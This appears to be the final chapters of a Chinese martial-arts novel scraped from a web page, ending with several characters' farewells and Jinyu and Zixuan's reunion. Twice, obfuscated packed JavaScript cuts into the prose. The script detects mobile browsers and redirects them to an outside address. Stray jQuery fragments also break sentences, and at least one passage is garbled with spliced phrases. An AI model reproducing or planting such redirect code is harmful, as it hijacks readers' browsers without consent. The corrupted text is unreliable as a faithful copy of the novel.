江邵谦理解他的心情,非但不因他的无礼着恼,反而任由他扯住自己的衣领,向他讲述了宝藏的真相,以及魏彦成带人赶往武功山、冲入藏宝洞的始末。 讲到后来,魏崧泽的手不自觉地松了,人也跟着渐渐脱力,是江邵谦将他扶住,并送到了另一侧的椅子上。 “魏彦成见没了宝藏,门主之位也已落空,不免心神激荡,以至于癫狂。他出手不计后果,这才被废了手脚。师娘给他看过,性命无碍,只是将来再也不能习武了。 “至于他的神思不属之症,尚需你请个大夫照看。师娘说,若家人在侧小心照料,不过分刺激他,也并非完全没有痊愈的可能。” 魏崧泽一言不发,手按住心口,浑浊的双眼沁出泪水。 江邵谦暗暗摇了摇头,又继续道:“他带去的人,还活下来十多个,我已经交给了你的护院。其他人,恕我们能力有限,只能就地掩埋,其余善后的事你自己处理吧。 “至于火药,留在世上只会害人,师兄做主,已将它们都收拢起来交给了固元堂制成烟火售卖。所得的款项会分给阵亡弟子的家眷,就当是为你们父子赎罪了。” 说完这些,江邵谦再度起身,向正厅大门迈了几步,也不回转身子,而是看着厅外指指戳戳又咿咿呀呀仿若小儿戏耍一般的魏彦成,叹息道:“为了门主之位和这份宝藏,你同师兄争斗了二十年,真的值得吗?” “值得吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655368|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>早在魏若琛死的那一晚,魏崧泽就已经问过自己这个问题了,他顺着江邵谦的目光看向自己虽然疯癫却还活着的另一个儿子,露出了不知是哭还是笑的表情。 江邵谦不再耽搁,叫上等在厅外的两个弟子,最后说了声“后会无期”,离开了魏宅。 ************************** 骆雁声勒住马缰,拿出一张手绘的图纸,仔细分辨着前面的山道。 苏茂霖的笔迹粗犷,并不是很好辨认,他看了一会儿才选中了其中一条,继而下马,借助轻功穿行于山崖之间,轻轻松松就到了碧渊湖一带。 盛夏时节的碧渊湖更加热闹,不仅有成群的水鸟振翅翱翔,湖中的游鱼也时不时跳出湖面,只是不免被眼尖的鸟儿逮住,变作了它的腹中美味。 苏茂霖的嘱托尚未完成,骆雁声只在湖边驻足停留了片刻便又走上了另一面的缓坡。 他寻到一处低矮的门楣,迈入其中,便闻到了馥郁的药草香气。抬目一看,成片的草药晾晒在庭院之中,其间只留出了一条狭窄的道路通向正屋和药庐。 药庐外间,一个男子面色蜡黄,正捂着肚子嗷嗷叫唤,骆雁声只望了一眼便知他是吃坏了肚子。 继续往里走,里面一个十二三岁的小姑娘正在抓药。只见她拉开药屉,取出少许白术,用黄铜小秤一称,又熟练地倒出去两片,这才满意地将药倒进了已躺着数味药材的纸包。 “你是谁?是来瞧病的么?”思瑶放下黄铜小秤,边包着药边对他道,“我爹还没回来,病可看不了,只能照方子抓药。你有药方吗?” 骆雁声并不答话,而是走上前打望了一眼药包中的药材,先点了点头,紧接着又摇了两下。 “你不是我们这儿的人。还有,你瞧着我的药干什么。” 思瑶见他又是点头又是摇头的,心中起了疑惑。 “你这药不对。” “怎么不对?”思瑶撇这嘴不满道:“何大哥拉肚子,我在爹爹的医书上找了方子,按方子抓的。” “同样是拉肚子,有伤食引起的,也有湿热引起的,还有脾虚肾虚肝郁等多种病因,你怎么保证这书上的方子能够对外面那个人的症呢?” 这个问题属实是有些为难思瑶了,她年纪尚小,只是跟在苏茂霖身边做些配药熬药的杂活,对于骆雁声所说的这些并不清楚。 骆雁声见她的小脸因难堪而胀得通红,不禁笑道:“想学医吗?我可以教你。” “我爹爹就是大夫,不用你来教我!” 骆雁声收住笑意,略带了些歉然道:“就是你爹让我来接你的。” 他拿出那副地图递给她,又道:“还有文紫璇,你可认得她?” 思瑶先认出了苏茂霖的笔迹,继而雀跃道:“紫璇姐姐?爹爹是和她在一起吗?” 早在年初,苏茂霖离开太白山时就已经托人带了封信给思瑶,将紫璇是他的亲生女儿,以及他与文远骥的恩怨已安然解决的事简略告诉了她。 骆雁声还没想好要如何跟她解释,只道:“他们让我来接你,你愿意跟我走吗?” 思瑶想了想,指着外面:“何大哥还病着,你先给他开副对症的药再说。” 骆雁声笑了笑,自言自语道:“医者仁心,是个可造之材。” 230. 尾声(二) “我还要,再多打一些。 默儿的脑袋高高扬起,眼珠左右转动,盯着正忙碌打枣的原航,催促了一声。 阮云飞轻轻拍了拍他,柔声道:“要称呼‘大师兄’。 默儿马上改口:“大师兄,我要多多的枣儿。” 原航撑着竹竿回头一笑:“好嘞。” 默儿兴奋地点了一下头,复钻到树下,同小鸢一起拾捡起被打下来的枣子。 没一会儿就装满了一布兜。他将布兜拎起,蹦蹦跳跳地往堂屋跑,正好撞上了从里面出来的陆文渊。 陆文渊小心扶住他,却见他捧起布兜,向他展示里面满满当当的新鲜枣子。 “渊叔,这是大师兄,鸢师姐和我一起摘的枣儿,你带着路上吃。” 陆文渊从他手上接过来,摸了摸他的后脑勺:“多谢默儿。路上吃一颗,渊叔就想一回默儿好不好?” “好!” 默儿的小脸荡起笑容,小手也自然而然地牵住大手,跟着陆文渊一起往前走去。 “渊叔,你还会回来看我吗?” 适才还一片灿烂的脸登时转为委屈,陆文渊也有些不舍,蹲下来指着门边的那株大枣树:“等默儿长高了,能自己打枣的时候,渊叔一定回来看你,吃你亲手给我打的枣儿。” 默儿抬头打量枣树,半晌没说话,想必在思考自己什么时候才能长到那么高。毕竟刚刚阮云飞还同陆文渊抱怨他不好好吃饭,这一年个子都不怎么见长呢。 默儿的认真让陆文渊忍俊不禁,他伸手刮了一下男孩的脸颊,又加上几句:“好好吃饭,早睡早起,跟着大师兄认真练功,就会长得很快。” “真的吗?” 默儿转头看向正在擦汗的原航,他是几个师兄中个头最高的,平日里就属他练功最勤快,难道练功真能让人长高? 原航看出他的疑问,忙上前两步向他保证:“师叔说得没错,只要你吃好睡好,再多锻炼强健体魄,不光个子长得高,还长得快呢。” 陆文渊走后,阮云飞依旧忙碌,照料和陪伴默儿的任务就被分给了几个年长的师兄师姐,其中尤以原航和小鸢来得最勤,与默儿最为亲近。 他和陆文渊都这样说,默儿自然相信,暗下决心,一定要努力快快长高,这样渊叔就会早一点回来看他了。 阮云飞看了一眼陆文渊身上新扎的行囊,问道:“真这么急着走?” “早走晚走,都是要走的。我这次来,主要是和为了默儿好好道个别,再收拾几件我自己的东西,如今两件事都已办妥,就不耽搁了。” 阮云飞点点头,垂首不语。小鸢瞧瞧她,又瞧瞧陆文渊,满腔的焦急无处诉说,只好又同原航使眼色。 “陆师叔,”原航手里还握着竹竿,此刻正无意识地上下摩挲着,“你回来还没去彭城派看过呢。” 陆文渊淡然一笑:“彭城派有师姐在,自然是一切安稳的,至于我……”他摇了摇头,“不便打扰,还是不去了。” 在场的人除了默儿,都很清楚他因何离开彭城派,虽然陆文渊说得委婉,但意思很明确:他已非彭城派弟子,又需和阮云飞划清界限,不宜再踏足彭城派。 然而原航还想坚持:“只要师叔愿意回来,掌门不会不同意的……” 陆文渊立即打断他:“门人进出,岂同儿戏?即便掌门人有权,也不可滥用。我若想走就走,想回就回,你让武林同道如何看待彭城派、看待掌门人?你是大师兄,说话做事更要谨慎。师姐带领彭城派本就不易,你们更要为她分忧,而不是……” 言及此处,陆文渊已经意识到自己的话有些多了,便住了口。 原航和小鸢均肃然称是,没有注意到他脸上一闪而过的不自在。阮云飞暗暗叹了口气,牵过默儿的手交给原航。 “你们带默儿回去吧,我送送陆师弟。” 小鸢和原航领着默儿离开,默儿一面走一面不住回头,陆文渊也一直看着他招手,一直等他出了门再也看不到了,才把手放下来。 “这所院子,连带里面所有的东西,都留给默儿。他在这儿玩惯了,肯定不时想回来看一眼。” 阮云飞敷衍地点了几下头,指了指院中一处乘凉用的桌椅。 陆文渊坐下来,等她开口。 自昨日回来,阮云飞就只遣了默儿来和他作伴,直到今日才专程来送行,这时又特地留下,必然是有话要说。 “肩上的伤完全好了吗?” 阮云飞看了一眼他的肩膀,记起了几个月前同一个看着她似喜若嗔的生动面庞,瑾瑜只觉得方血肉模糊的景象。 “太白山不缺药材,更有许、骆两位前辈悉心诊治,焉有不好之理。” 陆文渊淡然微笑,虽然没有回避阮云飞的眼睛,却也不敢太过用力地凝视着她。 “你着意远离彭城,可是因为我?” 阮云飞深吸了一口气,终于将搁在心里的话问了出来。 陆文渊怔愣一瞬,自嘲道:“是也不是。” 他站起来背对着阮云飞,在院子里踱起了步子。 “我不在,便不会有人故意拿我做文章来为难你。虽说身正不怕影子斜,但如果能让江湖人只把眼光放在你的能力和作为上,岂不是更好?” 他总是为她着想,阮云飞很是感动。但她并不愿陆文渊为了她牺牲自己流浪他乡。 正要反驳,就听陆文渊又道:“但这也只是原因之一。” “自十岁起我就一直跟随在师父左右,师父仙去,我就跟着你和师兄,从没想过有朝一日会离开彭城。 “可世事难料,这一年多来,我远走他乡,见识了不少人情风貌,这才意识到,这世间尚有许多我不曾了解过的人和事,每一样都值得细细品味。 “趁着年轻,我想四处看看,结交一些远方的朋友,走一走常人不曾走过的路,等到我老得动不了、只能靠回忆度日的时候,大概才会觉得不枉此生吧。” 说到这里,陆文渊正好回到桌边。 他坐下来,看向阮云飞有些动容的眼眸:“云飞,让我最后再这样叫你一回……你不用觉得亏待了我,我从不后悔当日的选择,也很满意现在的样子。 “你能力不凡又抱负远大,掌门合该是你的。期待有一天,即便我远在天南海北,也能从江湖人口中听到彭城派阮掌门的威名。” …… 陆文渊离开曾经朝夕相对的小院,往城外行去,怀中还抱着那一包新打的枣子。 街头茶馆里,说书先生正绘声绘色地讲着时下最流行的本子,说的是一代侠女天赋异禀,创出神功无数后引来四方拥趸,共立天魄门的故事。 台下无数男女老少听得津津有味,就连门外只是要了碗清水坐着歇脚的贩夫走卒们也忘了时间,只管端着空碗伸长了耳朵。 听者众多,说书先生更加卖力,不时有几个句子飘到街面上,钻进陆文渊的耳朵里。他不由得弯了嘴角,心道:过不了几年,这里还会传出另一个女侠的故事。 同一时间,湖州城的酒楼之中也是一片嘈杂之声。 一个年轻男子质问说书先生:“女人练武闻所未闻,还自创武功?你这说的是真的吗?” 说书先生瞪大了眼睛,争辩道:“鄙人一开头就讲了,这段故事是江湖上流传下来的真人真事,公子要是不信,大可以去查证。我刚刚说的那个山洞,据传一直留下来,如今就在宝鸡武功山上。” 其余人大多更关心故事本身,纷纷指责那人胡说八道,甚至有女茶客大声骂道:“谁说女的不能习武?我外甥女就跟着家里护院学拳脚呢。你没见过那是你孤陋寡闻,还非得说出来丢人现眼吗?” 年轻男子悻悻闭嘴,虽然表情依然不服。坐在他后面不远处的瑾瑜微微一笑,暗赞齐熙宁的这个办法好。 天魄门创派的真相公布之后,为免旧部诸人缄口不言,齐熙宁便出主意,将整个故事交由几个江南地界上知名的说书先生,由他们的嘴巴传递出去,这样不仅真相不会湮没无闻,还可以改变世人对待女子习武的偏见,从微末之处撬动女子在江湖上的处境。 不到半年的时间,这个故事就成了各处茶馆酒肆之中最受欢迎的话本之一,男人们痴迷于诡谲的江湖传奇,女子们则为初代圣女的命运唏嘘落泪,还没有长大的孩子们则被各种天花乱坠的招式吸引,不时叫嚷着要学习武艺、闯荡江湖。 台上说书先生继续开讲,一个着酱色短衫的跑堂穿过密密匝匝的人群,来到瑾瑜身边,将嘴巴靠近瑾瑜耳边,小声道:“方公子,掌柜的正得空,请您过去。” 瑾瑜来此本不是为了听书,而是要和酒楼掌柜谈后面订货的事情,适才掌柜的正有件要紧事要忙,请他在雅阁中稍坐片刻。瑾瑜听到外间热闹,特地跑来大堂听了一阵儿。 二人谈完公事,瑾瑜又将自己将要远行,以后酒坊的一应事宜都交予杨焕打理告知掌柜。 掌柜的摸着唇边短须,感叹道:“我家酒楼历来就只订方式的酒,客人们也都喝惯了。你们上半年停业那阵可给我急坏了,如今酒坊重开三月有余,想必已经稳定了?” 瑾瑜微微欠身:“酒坊的生意多赖诸位掌柜照应,今次重开酒坊,也是您带着几个老主顾先来下订,我们才能在这么短的时间内诸事齐备。您放心,酒坊请的都是原来的工人,酒方子也没变,接手的杨焕是我爹最得力的帮手杨邠叔的儿子,虽然年轻些,但勤恳诚直,定然出不了差错。” “杨邠?”掌柜的深点了几下头,“他是个持重的人,和我对了十几年的账,脑筋可清楚哩。” 掌柜的呵呵笑了几声,又问:“他去哪儿了?你爹不幸去了,合该让他多帮衬帮衬你呀。” “邠叔跟着我爹,忙碌了几十年,无一日休息,如今又要给自己的儿子张罗婚事,我便让他先歇一歇,等到过了年,您应该就能见着他的面了,” “方公子这次出门,又是要到哪里去呀?” “我历来爱好名山大川、历史胜迹,却一向不得机会,这一次恰好有一位重要的朋友相邀,便打算去淮南一带好好游历一番。” “你们年轻人呀,精力旺盛,就爱到处跑。我可是哪儿都去不动喽。” 二人又谈笑了几句,瑾瑜才告辞出来,往自己家中缓步行去。 刚走到方宅门口,正好遇上归家的杨焕。 “少爷。” 杨焕立刻站住,虽然方家已没有老爷,但因为瑾瑜尚未娶妻,家中的仆役便还是以“少爷”称呼他。 “船夫的家人们可还好?” 瑾瑜推开门朝里走,杨焕也急忙跟上。 “一切都好,小五比以前更壮实了。” “商行的老板可有按时拿钱给他们?” “问了,说都是按月给的,从没断过。我也去商行那儿问了,欠我们的款项尚有二十两,还能支持半年。” 瑾瑜点了点头,很是满意。 “送去的衣衫被褥,小五和他的娘亲都很喜欢,还一个劲得跟少爷你道谢呢。” “船夫因我而死,这些事本就是我该做的。” 这个船夫就是去年他租船回湖州时,被流沙帮杀死的那个无辜者。从倪家庄被救出回到家中后,他便托和自家有来往的姑苏商行找到船夫的家人,每月从应给方家的货款中拨出些许,作为给遗孀幼子的一笔抚恤。 这次回来,他又派遣杨焕替他去姑苏跑一趟,送些过冬的物事。 聊完这些事,瑾瑜才道:“这两日,我把湖州城里和咱们有交情的酒楼商户都跑了个遍,以后你再去,他们一定不会为难你。至于外面的生意,有主动来找我们的,你就看着情况接,到不必特地去维护了。” “少爷真打算把酒坊交给我们?” “我们之前不就说好了?日后我大多不在家,何必占着这个名头。酒坊的事又素来由杨叔打理,有他在你旁边提点一二,酒坊恢复到原先的规模、甚至蒸蒸日上都不成问题。” “可这是方家多少年的产业?你……” “可干活的都是你们呀?方家不过是出了本钱和方子,反正你每年都会给我拨出两成利,我也不亏,不是吗?” 杨焕这才应道:“那好吧,反正酒坊还是方式酒坊,我和我爹一定能照管好。你什么时候回来又想要了,随时都能接过去。” 瑾瑜只是笑笑,不说话。 “少爷你什么时候出发?”杨焕又问道。 “还得半个月吧,她不会这么快到。而且我也打算看着你成了亲再走。” 提到成亲,杨焕的脸颊明显红了:“我一个下人,还要劳您大少爷屈尊来吃我的喜酒,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687683|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “不要总说自己是下人。”瑾瑜蹙眉道,“你和我相伴长大,就算是我的朋友。参加朋友的婚礼不是应该的么。” 杨焕还想说什么,被瑾瑜轻轻推了一把:“快去看看杨叔吧,他为了你的婚事,好几日没有睡过整觉了。” 杨焕马上应声,转到偏院去了。 瑾瑜径直往后院而来,刚走到卧房门口,就瞄见人影一闪,从屋顶跳了出去。瑾瑜大惊,立刻推开房门查看,屋内一切如常,并没有什么缺失。 但他的脚步并没有停下,而是飞快跑到床头,去自己的枕头下摸了摸。果然,东西不见了! 他立刻跳出窗外,循着刚才那人消失的方向追了过去。 那人一席青衫,身法不亚于自己,只是在屋脊上点了数下,就已经翻出了繁华的街巷。瑾瑜虽然追不上他,却也没有跟丢。 两人前后脚来到太湖边上的一处荒地,野草长势极好,有大半个人那么高。小贼隐入其中,若非仔细辨别,根本瞧不出来。 瑾瑜额上出了一层薄薄的汗,看着青绿一片的眼前景象,更加着急起来。他即刻步入其中,眼睛捕捉野草波动的方向,双手用力拨开草丛追了过去。 不知为何,本应该逃跑的毛贼竟然期身过来,隔着茂密的野草给了自己一拳。瑾瑜心中恼怒,又急着拿回被他盗走的东西,右手上劈,和对方拼斗起来。 一个小小贼寇,敢在白日作案,果然是有些功夫。瑾瑜和对方斗了十来招,始终占不住上风,甚至连他的脸都看不清。 打着打着,瑾瑜突然觉得有些奇怪。他若真是毛贼,为何偷了东西不跑,他的轻功明显不逊于自己,若真想跑绝不可能会被自己追上。而且,自己屋子里值钱的东西还有别的,他为何专盯着这个偷。 再看他的身手,灵活多变、几无凝滞,总是把完全不同的招式各取前后半招组合在一起,这才让他总是摸不着头脑,别说取胜了,沾身都有困难。 他心念一动,已经有了主意。 正好草丛中飞来一掌,瑾瑜非但不躲,还特意凑了上去,掌风自胸前划过,果然没有多少力道。 “哎呀!” 瑾瑜大叫一声,往后退开数步,直挺挺躺在了地上,发出哐当大响。那人听见声音,停了招式,随即从一片绿雾中追了出来。 瑾瑜腰腹一卷,已然从地上跃起,去势向着对方,一抬手,已经那人的手腕握住,再一用力,就把人顺势带入了怀中, 那人咯咯一笑,吐气如兰:“你怎么知道是我?” “要考校我的功夫,又不肯下死手,还能是谁?” 紫璇没好气地翻了个白眼,却没舍得推开他。 “不是说好十月才来吗?怎么现在就到了?” 瑾瑜将头搁在紫璇的肩膀上,用力嗅着独属于她的气息,整个人的心都随之安定下来。 “因为想你。” 情话张口就来,这还是他认识的那个紫璇吗? 瑾瑜把头抬起来稍稍退开一些,瞧了瞧她的气色:“伤都好了?” “好啦好啦,你可别再问了,我都要被问烦了。你知道吗?你走了之后,我被按在床上,每日吃药扎针疗伤,姥姥都不许我动一点儿,不管谁来见我,都是问,伤好的怎么样了?我真的再也不想听见这句话了。” 看着紫璇似喜若嗔的鲜活模样,瑾瑜只觉得通体舒畅,手也不自知地抚上了她的面庞。 “看你刚才出招的架势,的确是和之前没什么两样。” “你的功夫也大有长进。” “若不抓紧长些本事,将来要如何给文大小姐保驾护航?” 瑾瑜边说边露出促狭的笑,紫璇与他四目相对,一扬手,推了他一把:“堂堂天魄门圣女,哪儿用得着你保护!” 瑾瑜又捉住她的另一只手腕:“圣女自然和我无关,但你带着我家的手镯,我却不敢撒手不管。” “怎么?这镯子很值钱?” “你既然买通了小梅,知道我把它藏在枕下,就没问问这是什么?” 紫璇进到方宅时是小梅接入内院的。小梅嘴快,把少爷天天捧着一只玉镯睡觉的事告诉了她,紫璇颇觉好笑,心知这必然是瑾瑜打算送给她的礼物,便想到了这样一出恶作剧。 见紫璇没有说话,瑾瑜将两只手扶在她腰间,将人往自己身前一带:“这可是我们家祖传的玉镯,属于我未来的夫人。” 待紫璇露出惊讶的表情,他才用自己的身体紧紧覆盖住她,在她的耳边道:“我的夫人,以后让我保护你,可好?” 两个人的脸贴在一起,一齐染成了红色。 “好。”紫璇的声音虽轻,却逃不出瑾瑜的耳朵。 良久,二人面上的灼烧才终于褪去,挽着手往方宅方向走。 “家里的事我都打理好了,等月底杨焕婚事一了,咱们便启程向北。”瑾瑜先道。 “先去看看齐姨,免得她担心,还有那把琴,我也想带着上路,太久没弹,一定都生疏了。” “这个不难,我来教你。“瑾瑜握紧紫璇的手,”十月栖霞山上丹枫正盛,我们去看娘,顺便还能赏一赏美景。然后再去看看刘从毅那小子。我娘来信说,他吵着要加入天魄门,你去瞧瞧他的功夫,看看要不要收了他。然后我们便去黄山,看奇松怪石、孤峰绝顶、云烟竞秀……” 两个人就这样谈起远行的计划,一路上你问我答,讨论地甚是热烈。 一直到回到宅中,瑾瑜才想起一个问题:“咱们至少要花半年时间,文门主可同意?天魄门如今多了人丁,堂口也加了两个,需不需要你帮忙?” “我死里逃生,好不容易活下来,休息个一年半载的不过分吧。我和爹说好了,济英堂先捡着资质好性子踏实的收一批女弟子,珺翊师兄给她们打基础。等我回去,就可以直接开始教她们习武了。” “江兄怕是要叫苦了吧?他原本就忙,不得空去金陵看熙宁,这下可要更忙了。” “我可不管,你也不准告诉熙宁妹妹是因为我师兄才不能去看她的,知道吗?”紫璇眨眨眼睛,很是调皮。 瑾瑜复又把她圈进怀中,亲昵地蹭着她的鬓角,轻声道:“好,都听你的。” ————第三卷完———— ————全文完————